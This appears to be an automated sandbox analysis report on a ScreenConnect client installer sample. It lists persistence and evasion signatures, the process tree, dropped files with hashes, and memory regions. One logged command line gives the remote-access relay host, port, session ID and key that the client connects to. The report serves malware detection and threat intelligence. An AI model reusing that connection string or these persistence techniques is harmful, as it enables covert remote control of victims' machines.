Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/05/2026, 12:14

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 11.1MB
  • Sample260508-pegbqagw3v
  • SHA256 65208b731a5a0956a90d8cd415825123029712acdf240ab6d613154c4307c087
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 30 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 32 IoCs
  • Suspicious use of SendNotifyMessage 30 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2672
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5000
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E2F377C2EC79C8A780D4110D40989D72 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4660
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4B1D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240667609 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3088
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5088
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4BA4F4FD73AA2340D9D178A136BAEFDD
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5660
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding EEFD3597A1567F082A3A4AFAF1C56D69 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:6008
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5492
    • C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=web-interview.live&p=8041&s=f0b5dae5-8c2a-4493-b735-878186318681&k=BgIAAACkAABSU0ExAAgAAAEAAQAlYxV3p00YwK8pX7eyrhDYILfRLFzrc008%2fyQXdwSvb5nm8QSgBN8SmA5zL9nJAS4ekAYgr7AJgrSSb3t%2fU3kGxAiTdw%2fAkWoFIAupoDXJ1DdUtPu2OYC64V117yOTZi69fV996VEd05IK60Ry2TbM6EhIvfvZSOdNo%2bon%2faQNwInE5CXljMi9lh5vVbqYNMZJfKxGvxxN9g6YZtvfIkHTs2%2fNKRPXG9mL4Wv32UnzOUEoB7v9RriHo%2bs3Oe7fsf84cERLQ2miBgaL1bbx7PPeZwywgAk%2bv5KLUAMeGDswu4O5833HMM7fjYkD2q7YkCbbTOSWTgW6D2Y1r4mCB6rW"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1380
      • C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\ScreenConnect.WindowsClient.exe" "RunRole" "d33631b9-27d4-4b6b-aae4-f18faa071651" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2636

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e588b83.rbs

          • Path C:\Config.Msi\e588b83.rbs
          • Size 214KB
          • SHA256 35f3bc8b28faeadcb234e7e26181a02e683064a8afcdb5fd0ac5486bd6ed8c94
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\Client.Override.en-US.resources
          • Size 718B
          • SHA256 d30626a5c23f75ec1fca54418bf91c925b0a42458009c9f7b9cd890d2464ee48
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e4313d39323bfd4f)\system.config
          • Size 940B
          • SHA256 ca359c66fd7e6360263f992f64b10e40d6aa82702a218cb34dfd22d0e182c024
          • MD5 SHA1 SHA512 TLSH

          MSI4B1D.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4B1D.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4B1D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4B1D.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4B1D.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4B1D.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI8D67.tmp

          • Path C:\Windows\Installer\MSI8D67.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e588b82.msi

          • Path C:\Windows\Installer\e588b82.msi
          • Size 11.1MB
          • SHA256 65208b731a5a0956a90d8cd415825123029712acdf240ab6d613154c4307c087
          • MD5 SHA1 SHA512 SSDEEP TLSH

          4rfdyuvz.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e4313d39323bfd4f)\4rfdyuvz.newcfg
          • Size 568B
          • SHA256 157adf86821fac96fa684b98c49960cd8c1fb5f7391ef89465cb5addae5aa43d
          • MD5 SHA1 SHA512 TLSH

          hz2zqi2p.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e4313d39323bfd4f)\hz2zqi2p.newcfg
          • Size 568B
          • SHA256 2ae73784318d1e56639c70e179eb1d68074609bac9ecfc61609ad2f700703aec
          • MD5 SHA1 SHA512 TLSH

          maqjjg0f.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e4313d39323bfd4f)\maqjjg0f.newcfg
          • Size 568B
          • SHA256 fbb9380757541e721a01b13ea52d0d44a3ef189ed01c7c1d812550844f037028
          • MD5 SHA1 SHA512 TLSH

          nzbepbef.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e4313d39323bfd4f)\nzbepbef.newcfg
          • Size 568B
          • SHA256 0de6003ee7c55591a57d74463dca50f2fe21a750c3a2ad722c33d9389f3580c5
          • MD5 SHA1 SHA512 TLSH

          ogy3t3qc.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e4313d39323bfd4f)\ogy3t3qc.newcfg
          • Size 568B
          • SHA256 8a5764ddf8e32631db821c0ea761943d0e3a9840eb4071aacd105e258edaa654
          • MD5 SHA1 SHA512 TLSH

          rakfeagq.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e4313d39323bfd4f)\rakfeagq.newcfg
          • Size 568B
          • SHA256 4085c830cc19754f226295a0e1a5d76561563dff82392e5e8521f4f42b9dd77d
          • MD5 SHA1 SHA512 TLSH

          upvdqej5.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e4313d39323bfd4f)\upvdqej5.newcfg
          • Size 568B
          • SHA256 e38e28b1211c23d27070a69c646c3f1495273938caf47d2e3479065c3e53577a
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e4313d39323bfd4f)\user.config
          • Size 568B
          • SHA256 cd82051932ad28c893daf350e78092c14485b6a2727ce604274433944a9d0aad
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e4313d39323bfd4f)\user.config
          • Size 568B
          • SHA256 20e6e7fd4d66748a77aae3af77b89f6e06ceea54da8a0feb74c9de5a6c1dea6a
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e4313d39323bfd4f)\user.config
          • Size 568B
          • SHA256 c8e19131542985225b9e7925d0e81588a1df61d38d304c31255797c2b8198a8a
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 1f4e2e4d790f4ca7a283aff4d74527ad822a350b12786a7eb499a40607146b8e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {cf9edb03-e136-4ed8-a786-673ebbbaebb0}_OnDiskSnapshotProp

          • Path \??\Volume{b9c79ca0-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{cf9edb03-e136-4ed8-a786-673ebbbaebb0}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 72a99bfa5c8df0aca362a5ff34e8a9891e0591d4265ffbd11c01b909f1a7751e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1380-108-0x0000000003CE0000-0x0000000003D16000-memory.dmp

          memory/1380-109-0x0000000003FD0000-0x0000000004062000-memory.dmp

          memory/1380-113-0x00000000041C0000-0x0000000004292000-memory.dmp

          memory/1380-111-0x0000000003D20000-0x0000000003D61000-memory.dmp

          memory/1380-153-0x0000000001470000-0x0000000001489000-memory.dmp

          memory/1380-152-0x0000000000CF0000-0x0000000000DCF000-memory.dmp

          memory/1380-79-0x0000000001490000-0x00000000014A8000-memory.dmp

          memory/1380-100-0x0000000003C90000-0x0000000003CE0000-memory.dmp

          memory/2636-167-0x0000000001250000-0x000000000125C000-memory.dmp

          memory/2636-124-0x000000001BC00000-0x000000001BDAA000-memory.dmp

          memory/2636-121-0x00000000009C0000-0x0000000000A56000-memory.dmp

          memory/2636-129-0x0000000001330000-0x0000000001348000-memory.dmp

          memory/2636-128-0x0000000001290000-0x00000000012A8000-memory.dmp

          memory/2636-127-0x000000001BF40000-0x000000001C0C8000-memory.dmp

          memory/2636-122-0x00000000012D0000-0x0000000001306000-memory.dmp

          memory/2636-123-0x000000001B9C0000-0x000000001BA4C000-memory.dmp

          memory/3088-22-0x00000000053E0000-0x00000000053EA000-memory.dmp

          memory/3088-18-0x00000000053A0000-0x00000000053CE000-memory.dmp

          memory/3088-37-0x0000000001070000-0x00000000010BA000-memory.dmp

          memory/3088-31-0x0000000005E20000-0x00000000063C6000-memory.dmp

          memory/3088-30-0x00000000056C0000-0x000000000586A000-memory.dmp

          memory/3088-26-0x0000000005480000-0x000000000550C000-memory.dmp

          memory/4660-38-0x0000000000B30000-0x0000000000B7A000-memory.dmp

          memory/4660-104-0x0000000000B30000-0x0000000000B7A000-memory.dmp

          memory/5660-102-0x0000000000F10000-0x0000000000F5A000-memory.dmp

          memory/6008-103-0x0000000001440000-0x000000000148A000-memory.dmp